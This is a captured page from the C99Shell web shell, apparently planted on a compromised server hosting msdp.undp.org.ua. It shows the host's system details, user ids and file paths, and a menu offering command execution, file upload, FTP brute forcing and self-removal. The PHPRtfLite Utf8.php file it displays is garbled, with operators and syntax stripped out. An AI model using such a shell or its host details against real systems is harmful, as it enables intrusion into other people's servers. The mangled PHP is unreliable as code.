!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/msdp.undp.org.ua/modules-alien/phprtflite/lib/PHPRtfLite/   drwxr-xr-x
Free 106.94 GB of 200.55 GB (53.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Utf8.php (3.04 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* 
    PHPRtfLite
    Copyright 2007-2008 Denis Slaveckij <info@phprtf.com>
    Copyright 2010 Steffen Zeidler <sigma_z@web.de>

    This file is part of PHPRtfLite.

    PHPRtfLite is free software: you can redistribute it and/or modify
    it under the terms of the GNU Lesser General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    PHPRtfLite is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU Lesser General Public License for more details.

    You should have received a copy of the GNU Lesser General Public License
    along with PHPRtfLite.  If not, see <http://www.gnu.org/licenses/>.
*/

/**
 * UTF8 class with static functions that converts utf8 characters into rtf utf8 entities.
 * @version     1.0.1
 * @author      Denis Slaveckij <info@phprtf.com>
 * @author      Steffen Zeidler <sigma_z@web.de>
 * @copyright   2007-2008 Denis Slaveckij, 2010 Steffen Zeidler
 * @package     PHPRtfLite
 */
class PHPRtfLite_Utf8 {

    
/**
     * Converts text with utf8 characters into rtf utf8 entites.
     *
     * @param string $str
     */
    
static public function getUnicodeEntities($str) {
        return 
self::unicodeToEntitiesPreservingAscii(self::utf8ToUnicode($str));
    }

    
/**
     * @see http://www.randomchaos.com/documents/?source=php_and_unicode
     *
     * Gets unicode for each character
     *
     * @return array
     */
    
static private function utf8ToUnicode($str) {
        
$unicode = array();
        
$values = array();
        
$lookingFor 1;

        for (
$i 0$i strlen($str); $i++ ) {
           
$thisValue ord($str[$i]);

            if (
$thisValue 128) {
                
$unicode[] = $thisValue;
            }
            else {
                if (
count$values ) == 0) {
                    
$lookingFor $thisValue 224 3;
                }

                
$values[] = $thisValue;

                if (
count($values) == $lookingFor) {
                    
$number $lookingFor == 3
                              
? (($values[0] % 16) * 4096) + (($values[1] % 64) * 64) + ($values[2] % 64)
                              : ((
$values[0] % 32) * 64) + ($values[1] % 64);

                    
$unicode[] = $number;
                    
$values = array();
                    
$lookingFor 1;
                }
            }
        }

        return 
$unicode;
    }

    
/**
     * Converts text with utf8 characters into rtf utf8 entites preserving ascii.
     *
     * @param  string $unicode
     *
     * @return string
     */
    
static private function unicodeToEntitiesPreservingAscii($unicode) {
        
$entities '';

        foreach (
$unicode as $value) {
            if (
$value != 65279) {
               
$entities .= $value 127 
                            
'\uc0\u' $value ' '
                            
chr($value);
            }
        }

        return 
$entities;
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0112 ]--